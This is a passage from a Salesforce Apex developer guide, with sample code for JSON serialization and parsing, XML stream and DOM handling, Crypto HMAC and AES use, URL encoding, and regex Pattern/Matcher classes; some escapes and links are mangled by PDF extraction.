public InvoiceStatement(Long i, Datetime dt, Decimal price)
{
invoiceNumber = i;
statementDate = dt;
totalPrice = price;
}
}
public static void SerializeRoundtrip() {
Datetime dt = Datetime.now();
// Create a few invoices.
InvoiceStatement inv1 = new InvoiceStatement(1,Datetime.valueOf(dt),1000);

310
Integration and Apex Utilities

Roundtrip Serialization and Deserialization

InvoiceStatement inv2 = new InvoiceStatement(2,Datetime.valueOf(dt),500);
// Add the invoices to a list.
List<InvoiceStatement> invoices = new List<InvoiceStatement>();
invoices.add(inv1);
invoices.add(inv2);
// Serialize the list of InvoiceStatement objects.
String JSONString = JSON.serialize(invoices);
System.debug('Serialized list of invoices into JSON format: ' + JSONString);
// Deserialize the list of invoices from the JSON string.
List<InvoiceStatement> deserializedInvoices =
(List<InvoiceStatement>)JSON.deserialize(JSONString, List<InvoiceStatement>.class);
System.assertEquals(invoices.size(), deserializedInvoices.size());
Integer i=0;
for (InvoiceStatement deserializedInvoice :deserializedInvoices) {
system.debug('Deserialized:' + deserializedInvoice.invoiceNumber + ','
+ deserializedInvoice.statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + deserializedInvoice.totalPrice);
system.debug('Original:' + invoices[i].invoiceNumber + ','
+ invoices[i].statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + invoices[i].totalPrice);
i++;
}
}
}

JSON Serialization Considerations
The following describes differences in behavior for the serialize method. Those differences depend on the Salesforce.com
API version of the Apex code saved.
Serialization of queried sObject with additional fields set
For Apex saved using Salesforce.com API version 27.0 and earlier, if queried sObjects have additional fields set, these
fields aren’t included in the serialized JSON string returned by the serialize method. Starting with Apex saved using
Salesforce.com API version 28.0, the additional fields are included in the serialized JSON string.
This example adds a field to a contact after it has been queried, and then serializes the contact. The assertion statement
verifies that the JSON string contains the additional field. This assertion passes for Apex saved using Salesforce.com
API version 28.0 and later.
Contact con = [SELECT Id, LastName, AccountId FROM Contact LIMIT 1];
// Set additional field
con.FirstName = 'Joe';
String jsonstring = Json.serialize(con);
System.debug(jsonstring);
System.assert(jsonstring.contains('Joe') == true);

Serialization of aggregate query result fields
For Apex saved using Salesforce.com API version 27.0, results of aggregate queries don’t include the fields in the
SELECT statement when serialized using the serialize method. For earlier API versions or for API version 28.0
and later, serialized aggregate query results include all fields in the SELECT statement.
This is an example of an aggregate query that returns two fields, the count of ID fields and the account name.
String jsonString = JSON.serialize(
Database.query('SELECT Count(Id),Account.Name FROM Contact WHERE Account.Name !=
null GROUP BY Account.Name LIMIT 1'));
System.debug(jsonString);

311
Integration and Apex Utilities

JSON Generator

// Expected output in API v 26 and earlier or v28 and later
// [{"attributes":{"type":"AggregateResult"},"expr0":2,"Name":"acct1"}]

See Also:
JSON Class

JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the
JSONGenerator class.
JSONGenerator Sample
This example generates a JSON string in pretty print format by using the methods of the JSONGenerator class. The example
first adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets
deserialized properly. Next, it adds the A object into the Object A field, which also gets deserialized.
public class JSONGeneratorSample{
public class A {
String str;
public A(String s) { str = s; }
}
static void generateJSONContent() {
// Create a JSONGenerator object.
// Pass true to the constructor for pretty print formatting.
JSONGenerator gen = JSON.createGenerator(true);
// Create a list of integers to write to the JSON string.
List<integer> intlist = new List<integer>();
intlist.add(1);
intlist.add(2);
intlist.add(3);
// Create an object to write to the JSON string.
A x = new A('X');
// Write data to the JSON string.
gen.writeStartObject();
gen.writeNumberField('abc', 1.21);
gen.writeStringField('def', 'xyz');
gen.writeFieldName('ghi');
gen.writeStartObject();
gen.writeObjectField('aaa', intlist);
gen.writeEndObject();
gen.writeFieldName('Object A');
gen.writeObject(x);
gen.writeEndObject();
// Get the JSON string.
String pretty = gen.getAsString();

312
Integration and Apex Utilities

JSON Parsing

System.assertEquals('{n' +
' "abc" : 1.21,n' +
' "def" : "xyz",n' +
' "ghi" : {n' +
'
"aaa" : [ 1, 2, 3 ]n' +
' },n' +
' "Object A" : {n' +
'
"str" : "X"n' +
' }n' +
'}', pretty);
}
}

See Also:
JSONGenerator Class

JSON Parsing
Using the JSONParser class methods, you can parse JSON-encoded content.
Use the JSONParser methods to parse a response that's returned from a call to an external service that is in JSON format,
such as a JSON-encoded response of a Web service callout. The following are samples that show how to parse JSON strings.
Sample: Parsing a JSON Response from a Web Service Callout
This example shows how to parse a JSON-formatted response using JSONParser methods. This example makes a callout
to a Web service that returns a response in JSON format. Next, the response is parsed to get all the totalPrice field values and
compute the grand total price. Before you can run this sample, you must add the Web service endpoint URL as an authorized
remote site in the Salesforce user interface. To do this, log in to Salesforce and from Setup, click Security Controls > Remote
Site Settings.
public class JSONParserUtil {
@future(callout=true)
public static void parseJSONResponse() {
Http httpProtocol = new Http();
// Create HTTP request to send.
HttpRequest request = new HttpRequest();
// Set the endpoint URL.
String endpoint = 'http://www.cheenath.com/tutorial/sfdc/sample1/response.php';
request.setEndPoint(endpoint);
// Set the HTTP verb to GET.
request.setMethod('GET');
// Send the HTTP request and get the response.
// The response is in JSON format.
HttpResponse response = httpProtocol.send(request);
System.debug(response.getBody());
/* The JSON response returned is the following:
String s = '{"invoiceList":[' +
'{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
'{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
*/
// Parse JSON response to get all the totalPrice field values.
JSONParser parser = JSON.createParser(response.getBody());
Double grandTotal = 0.0;

313
Integration and Apex Utilities

JSON Parsing

while (parser.nextToken() != null) {
if ((parser.getCurrentToken() == JSONToken.FIELD_NAME) &&
(parser.getText() == 'totalPrice')) {
// Get the value.
parser.nextToken();
// Compute the grand total price for all invoices.
grandTotal += parser.getDoubleValue();
}
}
system.debug('Grand total=' + grandTotal);
}
}

Sample: Parsing a JSON String and Deserializing It into Objects
This example uses a hardcoded JSON string, which is the same JSON string returned by the callout in the previous example.
In this example, the entire string is parsed into Invoice objects using the readValueAs method. It also uses the
skipChildren method to skip the child array and child objects and to be able to parse the next sibling invoice in the list.
The parsed objects are instances of the Invoice class that is defined as an inner class. Since each invoice contains line items,
the class that represents the corresponding line item type, the LineItem class, is also defined as an inner class. Add this
sample code to a class to use it.
public static void parseJSONString() {
String jsonStr =
'{"invoiceList":[' +
'{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
'{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
// Parse entire JSON response.
JSONParser parser = JSON.createParser(jsonStr);
while (parser.nextToken() != null) {
// Start at the array of invoices.
if (parser.getCurrentToken() == JSONToken.START_ARRAY) {
while (parser.nextToken() != null) {
// Advance to the start object marker to
// find next invoice statement object.
if (parser.getCurrentToken() == JSONToken.START_OBJECT) {
// Read entire invoice object, including its array of line items.
Invoice inv = (Invoice)parser.readValueAs(Invoice.class);
system.debug('Invoice number: ' + inv.invoiceNumber);
system.debug('Size of list items: ' + inv.lineItems.size());
// For debugging purposes, serialize again to verify what was parsed.
String s = JSON.serialize(inv);
system.debug('Serialized invoice: ' + s);
// Skip the child start array and start object markers.
parser.skipChildren();
}
}
}
}
}
// Inner classes used for serialization by readValuesAs().
public class Invoice {
public Double totalPrice;
public DateTime statementDate;
public Long invoiceNumber;
List<LineItem> lineItems;

314
Integration and Apex Utilities

XML Support

public Invoice(Double price, DateTime dt, Long invNumber, List<LineItem> liList) {
totalPrice = price;
statementDate = dt;
invoiceNumber = invNumber;
lineItems = liList.clone();
}
}
public class LineItem {
public Double unitPrice;
public Double quantity;
public String productName;
}

See Also:
JSONParser Class

XML Support
Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.
This section contains details about XML support.
Reading and Writing XML Using Streams
Apex provides classes for reading and writing XML content using streams.
Reading and Writing XML Using the DOM
Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).

Reading and Writing XML Using Streams
Apex provides classes for reading and writing XML content using streams.
The XMLStreamReader class enables you to read XML content and the XMLStreamWriter class enables you to write XML
content.
Reading XML Using Streams
The XMLStreamReader class methods enable forward, read-only access to XML data.
Writing XML Using Streams
The XmlStreamWriter class methods enable the writing of XML data.

Reading XML Using Streams
The XMLStreamReader class methods enable forward, read-only access to XML data.
Those methods are used in conjunction with HTTP callouts to parse XML data or skip unwanted events. The following
example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);

These methods work on the following XML events:
315
Integration and Apex Utilities

Reading and Writing XML Using Streams

An attribute event is specified for a particular element. For example, the element <book> has an attribute title: <book
title="Salesforce.com for Dummies">.
A start element event is the opening tag for an element, for example <book>.
An end element event is the closing tag for an element, for example </book>.
A start document event is the opening tag for a document.
An end document event is the closing tag for a document.
An entity reference is an entity reference in the code, for example !ENTITY title = "My Book Title".
A characters event is a text character.
A comment event is a comment in the XML file.

•
•
•
•
•
•
•
•

Use the next and hasNext methods to iterate over XML data. Access data in XML using get methods such as the
getNamespace method.
XmlStreamReader Example
The following example processes an XML string.
public class XmlStreamReaderDemo {
// Create a class Book for processing
public class Book {
String name;
String author;
}
public Book[] parseBooks(XmlStreamReader reader) {
Book[] books = new Book[0];
while(reader.hasNext()) {
// Start at the beginning of the book and make sure that it is a book
if (reader.getEventType() == XmlTag.START_ELEMENT) {
if ('Book' == reader.getLocalName()) {
// Pass the book to the parseBook method (below)
Book book = parseBook(reader);
books.add(book);
}
}
reader.next();
}
return books;
}
// Parse through the XML, determine the author and the characters
Book parseBook(XmlStreamReader reader) {
Book book = new Book();
book.author = reader.getAttributeValue(null, 'author');
while(reader.hasNext()) {
if (reader.getEventType() == XmlTag.END_ELEMENT) {
break;
} else if (reader.getEventType() == XmlTag.CHARACTERS) {
book.name = reader.getText();
}
reader.next();
}
return book;
}
}
@isTest
private class XmlStreamReaderDemoTest {
// Test that the XML string contains specific values
static testMethod void testBookParser() {
XmlStreamReaderDemo demo = new XmlStreamReaderDemo();

316
Integration and Apex Utilities

Reading and Writing XML Using Streams

String str = '<books><book author="Chatty">Foo bar</book>' +
'<book author="Sassy">Baz</book></books>';
XmlStreamReader reader = new XmlStreamReader(str);
XmlStreamReaderDemo.Book[] books = demo.parseBooks(reader);
System.debug(books.size());
for (XmlStreamReaderDemo.Book book : books) {
System.debug(book);
}
}
}

See Also:
XmlStreamReader Class

Writing XML Using Streams
The XmlStreamWriter class methods enable the writing of XML data.
Those methods are used in conjunction with HTTP callouts to construct an XML document to send in the callout request
to an external service. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);

XML Writer Methods Example
The following example writes an XML document and tests its validity.
Note: The Hello World and the shipping invoice samples require custom fields and objects. You can either create
these on your own, or download the objects, fields and Apex code as a managed packaged from Force.com
AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation.
public class XmlWriterDemo {
public String getXml() {
XmlStreamWriter w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeProcessingInstruction('target', 'data');
w.writeStartElement('m', 'Library', 'http://www.book.com');
w.writeNamespace('m', 'http://www.book.com');
w.writeComment('Book starts here');
w.setDefaultNamespace('http://www.defns.com');
w.writeCData('<Cdata> I like CData </Cdata>');
w.writeStartElement(null, 'book', null);
w.writedefaultNamespace('http://www.defns.com');
w.writeAttribute(null, null, 'author', 'Manoj');
w.writeCharacters('This is my book');
w.writeEndElement(); //end book
w.writeEmptyElement(null, 'ISBN', null);
w.writeEndElement(); //end library
w.writeEndDocument();
String xmlOutput = w.getXmlString();
w.close();
return xmlOutput;

317
Integration and Apex Utilities

Reading and Writing XML Using the DOM

}
}
@isTest
private class XmlWriterDemoTest {
static TestMethod void basicTest() {
XmlWriterDemo demo = new XmlWriterDemo();
String result = demo.getXml();
String expected = '<?xml version="1.0"?><?target data?>' +
'<m:Library xmlns:m="http://www.book.com">' +
'<!--Book starts here-->' +
'<![CDATA[<Cdata> I like CData </Cdata>]]>' +
'<book xmlns="http://www.defns.com" author="Manoj">This is my book</book><ISBN/></m:Library>';
System.assert(result == expected);
}
}

See Also:
XmlStreamWriter Class

Reading and Writing XML Using the DOM
Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).
DOM classes help you parse or generate XML content. You can use these classes to work with any XML content. One
common application is to use the classes to generate the body of a request created by HttpRequest or to parse a response
accessed by HttpResponse. The DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch
nodes and have child nodes, while others are leaf nodes with no children.
The DOM classes are contained in the Dom namespace.
Use the Document Class to process the content in the body of the XML document.
Use the XmlNode Class to work with a node in the XML document.
Use the Document Class class to process XML content. One common application is to use it to create the body of a request
for HttpRequest or to parse a response accessed by HttpResponse.
XML Namespaces
An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify
element types and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon,
separating the name into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a
namespace. The combination of the universally managed URI namespace and the document's own namespace produces
identifiers that are universally unique.
The following XML element has a namespace of http://my.name.space and a prefix of myprefix.
<sampleElement xmlns:myprefix="http://my.name.space" />

In the following example, the XML element has two attributes:
•
•

The first attribute has a key of dimension; the value is 2.
The second attribute has a key namespace of http://ns1; the value namespace is http://ns2; the key is foo; the value
is bar.
<square dimension="2" ns1:foo="ns2:bar" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" />

318
Integration and Apex Utilities

Reading and Writing XML Using the DOM

Document Example

For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns
this XML response:
<address>
<name>Kirk Stevens</name>
<street1>808 State St</street1>
<street2>Apt. 2</street2>
<city>Palookaville</city>
<state>PA</state>
<country>USA</country>
</address>

The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:
public class DomDocument {
// Pass in the URL for the request
// For the purposes of this sample,assume that the URL
// returns the XML shown above in the response body
public void parseResponseDom(String url){
Http h = new Http();
HttpRequest req = new HttpRequest();
// url that returns the XML in the response body
req.setEndpoint(url);
req.setMethod('GET');
HttpResponse res = h.send(req);
Dom.Document doc = res.getBodyDocument();
//Retrieve the root element for this document.
Dom.XMLNode address = doc.getRootElement();
String name = address.getChildElement('name', null).getText();
String state = address.getChildElement('state', null).getText();
// print out specific elements
System.debug('Name: ' + name);
System.debug('State: ' + state);
// Alternatively, loop through the child elements.
// This prints out all the elements of the address
for(Dom.XMLNode child : address.getChildElements()) {
System.debug(child.getText());
}
}
}

Using XML Nodes
Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy
of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values
are:
•
•
•

COMMENT
ELEMENT
TEXT

It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:
<name>
<firstName>Suvain</firstName>
<lastName>Singh</lastName>
</name>

319
Integration and Apex Utilities

Reading and Writing XML Using the DOM

This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name,
firstName, and lastName element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an
element node is considered to be a separate text node.
For more information about the methods shared by all enums, see Enum Methods.
XmlNode Example

This example shows how to use XmlNode methods and namespaces to create an XML request.
public class DomNamespaceSample
{
public void sendRequest(String endpoint)
{
// Create the request envelope
DOM.Document doc = new DOM.Document();
String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/';
String xsi = 'http://www.w3.org/2001/XMLSchema-instance';
String serviceNS = 'http://www.myservice.com/services/MyService/';
dom.XmlNode envelope
= doc.createRootElement('Envelope', soapNS, 'soapenv');
envelope.setNamespace('xsi', xsi);
envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);
dom.XmlNode body
= envelope.addChildElement('Body', soapNS, null);
body.addChildElement('echo', serviceNS, 'req').
addChildElement('category', serviceNS, null).
addTextNode('classifieds');
System.debug(doc.toXmlString());
// Send the request
HttpRequest req = new HttpRequest();
req.setMethod('POST');
req.setEndpoint(endpoint);
req.setHeader('Content-Type', 'text/xml');
req.setBodyDocument(doc);
Http http = new Http();
HttpResponse res = http.send(req);
System.assertEquals(200, res.getStatusCode());
dom.Document resDoc = res.getBodyDocument();
envelope = resDoc.getRootElement();
String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing';
dom.XmlNode header = envelope.getChildElement('Header', soapNS);
System.assert(header != null);
String messageId
= header.getChildElement('MessageID', wsa).getText();
System.debug(messageId);
System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);
System.assertEquals(
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
header.getChildElement(

320
Integration and Apex Utilities

Securing Your Data

'ReplyTo', wsa).getChildElement('Address', wsa).getText());
System.assertEquals(
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('something', 'http://something.else').
getChildElement(
'whatever', serviceNS).getAttribute('bb', null),
'cc');
System.assertEquals('classifieds',
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('category', serviceNS).getText());
}
}

Securing Your Data
You can secure your data by using the methods provided by the Crypto class.
The methods in the Crypto class provide standard algorithms for creating digests, message authentication codes, and signatures,
as well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with
external services such as Google or Amazon WebServices (AWS).

Example Integrating Amazon WebServices
The following example demonstrates an integration of Amazon WebServices with Salesforce:
public class HMacAuthCallout {
public void testAlexaWSForAmazon() {
// The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + ''T'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + ''Z'';
String timeFormat = d.formatGmt(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
String action = 'UrlInfo';
String inputStr = action + timeFormat;
String algorithmName = 'HMacSHA1';
Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr),
Blob.valueOf('your_signing_key'));
String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8');
String
String
String
String

urlToTest = 'amazon.com';
version = '2005-07-11';
endpoint = 'http://awis.amazonaws.com/';
accessKey = 'your_key';

HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint +
'?AWSAccessKeyId=' + accessKey +
'&Action=' + action +
'&ResponseGroup=Rank&Version=' + version +
'&Timestamp=' + urlEncodedTimestamp +
'&Url=' + urlToTest +

321
Integration and Apex Utilities

Securing Your Data

'&Signature=' + macUrl);
req.setMethod('GET');
Http http = new Http();
try {
HttpResponse res = http.send(req);
System.debug('STATUS:'+res.getStatus());
System.debug('STATUS_CODE:'+res.getStatusCode());
System.debug('BODY: '+res.getBody());
} catch(System.CalloutException e) {
System.debug('ERROR: '+ e);
}
}
}

Example Encrypting and Decrypting
The following example uses the encryptWithManagedIV and decryptWithManagedIV methods, as well as the
generateAesKey method of the Crypto class.
// Use generateAesKey to generate the private key
Blob cryptoKey = Crypto.generateAesKey(256);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data to encrypted');
// Encrypt the data and have Salesforce.com generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);
// Decrypt the data
Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData);

The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV Crypto
methods.
@isTest
private class CryptoTest {
static testMethod void testValidDecryption() {
// Use generateAesKey to generate the private key
Blob key = Crypto.generateAesKey(128);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data');
// Generate an encrypted form of the data using base64 encoding
String b64Data = EncodingUtil.base64Encode(data);
// Encrypt and decrypt the data
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data);
Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData);
String b64Decrypted = EncodingUtil.base64Encode(decryptedData);
// Verify that the strings still match
System.assertEquals(b64Data, b64Decrypted);
}
static testMethod void testInvalidDecryption() {
// Verify that you must use the same key size for encrypting data
// Generate two private keys, using different key sizes
Blob keyOne = Crypto.generateAesKey(128);
Blob keyTwo = Crypto.generateAesKey(256);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data');
// Encrypt the data using the first key
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data);
try {
// Try decrypting the data using the second key
Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData);
System.assert(false);
} catch(SecurityException e) {
System.assertEquals('Given final block not properly padded', e.getMessage());

322
Integration and Apex Utilities

Encoding Your Data

}
}
}

See Also:
Crypto Class
EncodingUtil Class

Encoding Your Data
You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the
EncodingUtil class.
This example shows how to URL encode a timestamp value in UTF-8 by calling urlEncode.
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + ''T'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + ''Z'';
System.debug(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
System.debug(urlEncodedTimestamp);

This next example shows how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617).
@isTest
private class SampleTest {
static testmethod void testConvertToHex() {
String myData = 'A Test String';
Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData));
String hexDigest = EncodingUtil.convertToHex(hash);
System.debug(hexDigest);
}
}

See Also:
EncodingUtil Class

Using Patterns and Matchers
Apex provides patterns and matchers that enable you to search text using regular expressions.
A pattern is a compiled representation of a regular expression. Patterns are used by matchers to perform match operations on
a character string.
A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular
expressions through its Pattern and Matcher classes.
Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See
http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.

323
Integration and Apex Utilities

Using Patterns and Matchers

Many Matcher objects can share the same Pattern object, as shown in the following illustration:

Figure 7: Many Matcher objects can be created from the same Pattern object
Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression
strings can be easily imported into your Apex code.
Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000
times. If you reach that limit, you receive a runtime error.
All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String
split method takes a regular expression that isn't compiled.
Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher
object. All further actions are then performed using the Matcher object. For example:
// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile('a*b');
// Then instantiate a new Matcher object "MyMatcher"
Matcher MyMatcher = MyPattern.matcher('aaaaab');
// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());

If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and
match a string against it in a single invocation. For example, the following is equivalent to the code above:
Boolean Test = Pattern.matches('a*b', 'aaaaab');

Using Regions
Using Match Operations
Using Bounds
Understanding Capturing Groups
Pattern and Matcher Example

324
Integration and Apex Utilities

Using Regions

Using Regions
A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always
the entirety of the input string. However, you can change the start and end points of a region by using the region method,
and you can query the region's end points by using the regionStart and regionEnd methods.
The region method requires both a start and an end value. The following table provides examples of how to set one value
without setting the other.
Start of the Region

End of the Region

Code Example

Specify explicitly

Leave unchanged

MyMatcher.region(start, MyMatcher.regionEnd());

Leave unchanged

Specify explicitly

MyMatcher.region(MyMatcher.regionStart(), end);

Reset to the default

Specify explicitly

MyMatcher.region(0, end);

Using Match Operations
A Matcher object performs match operations on a character sequence by interpreting a Pattern.
A Matcher object is instantiated from a Pattern by the Pattern's matcher method. Once created, a Matcher object can be
used to perform the following types of match operations:
•
•
•

Match the Matcher object's entire input string against the pattern using the matches method
Match the Matcher object's input string against the pattern, starting at the beginning but without matching the entire
region, using the lookingAt method
Scan the Matcher object's input string for the next substring that matches the pattern using the find method

Each of these methods returns a Boolean indicating success or failure.
After you use any of these methods, you can find out more information about the previous match, that is, what was found, by
using the following Matcher class methods:
•
•
•

end: Once a match is made, this method returns the position in the match string after the last character that was matched.
start: Once a match is made, this method returns the position in the string of the first character that was matched.
group: Once a match is made, this method returns the subsequence that was matched.

Using Bounds
By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region
boundaries, even if the region boundaries have been moved from the start and end of the input string. You can specify whether
a region uses anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds.
If you set useAnchoringBounds to false, the line anchors match only the true ends of the input string.
By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent
bounds it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains
the entire input string. You can specify which type of bounds a region has by using the useTransparentBounds method.

325
Integration and Apex Utilities

Understanding Capturing Groups

Suppose you were searching the following string, and your region was only the word “STRING”:
This is a concatenated STRING of cats and dogs.

If you searched for the word “cat”, you wouldn't receive a match unless you had transparent bounds set.

Understanding Capturing Groups
During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings
are called capturing groups.
Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression
string ((A)(B(C))), there are four capturing groups:
1.
2.
3.
4.

((A)(B(C)))
(A)
(B(C))
(C)

Group zero always stands for the entire expression.
The captured input associated with a group is always the substring of the group most recently matched, that is, that was
returned by one of the Matcher class match operations.
If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the
second evaluation fails.

Pattern and Matcher Example
The Matcher class end method returns the position in the match string after the last character that was matched. You would
use this when you are parsing a string and want to do additional work with it after you have found a match, such as find the
next match.
In regular expression syntax, ? means match once or not at all, and + means match 1 or more times.
In the following example, the string passed in with the Matcher object matches the pattern since (a(b)?) matches the string
'ab' - 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all.
pattern myPattern = pattern.compile('(a(b)?)+');
matcher myMatcher = myPattern.matcher('aba');
System.assert(myMatcher.matches() && myMatcher.hitEnd());
// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:
System.assert(myMatcher.groupCount() == 2 &&
myMatcher.group(0) == 'aba' &&
myMatcher.group(1) == 'a');
// Since group 0 refers to the whole pattern, the following is true:
System.assert(myMatcher.end() == myMatcher.end(0));
// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:
System.assert(myMatcher.end() == 3 &&

326
Integration and Apex Utilities

Pattern and Matcher Example

myMatcher.end(0) == 3 &&
myMatcher.end(1) == 3);

In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain
name or subdomain for similar email addresses. For example, john@fairway.smithco is normalized to john@smithco.
class normalizeEmailAddresses{
public void hasDuplicatesByDomain(Lead[] leads) {
// This pattern reduces the email address to 'john@smithco'
// from 'john@*.smithco.com' or 'john@smithco.*'
Pattern emailPattern = Pattern.compile('(?<=@)((?![w]+.[w]+$)
[w]+.)|(.[w]+$)');
// Define a set for emailkey to lead:
Map<String,Lead> leadMap = new Map<String,Lead>();
for(Lead lead:leads) {
// Ignore leads with a null email
if(lead.Email != null) {
// Generate the key using the regular expression
String emailKey = emailPattern.matcher(lead.Email).replaceAll('');
// Look for duplicates in the batch
if(leadMap.containsKey(emailKey))
lead.email.addError('Duplicate found in batch');
else {
// Keep the key in the duplicate key custom field
lead.Duplicate_Key__c = emailKey;
leadMap.put(emailKey, lead);
}
}
}
// Now search the database looking for duplicates
for(Lead[] leadsCheck:[SELECT Id, duplicate_key__c FROM Lead WHERE
duplicate_key__c IN :leadMap.keySet()]) {
for(Lead lead:leadsCheck) {
// If there's a duplicate, add the error.
if(leadMap.containsKey(lead.Duplicate_Key__c))
leadMap.get(lead.Duplicate_Key__c).email.addError('Duplicate found
in salesforce(Id: ' + lead.Id + ')');
}
}
}
}

See Also:
Pattern Class
Matcher Class

327
FINISHING TOUCHES

Chapter 12
Debugging Apex
In this chapter ...
•
•

Understanding the Debug Log
Exceptions in Apex

Apex provides debugging support. You can debug your Apex code using the
Developer Console and debug logs. To aid debugging in your code, Apex
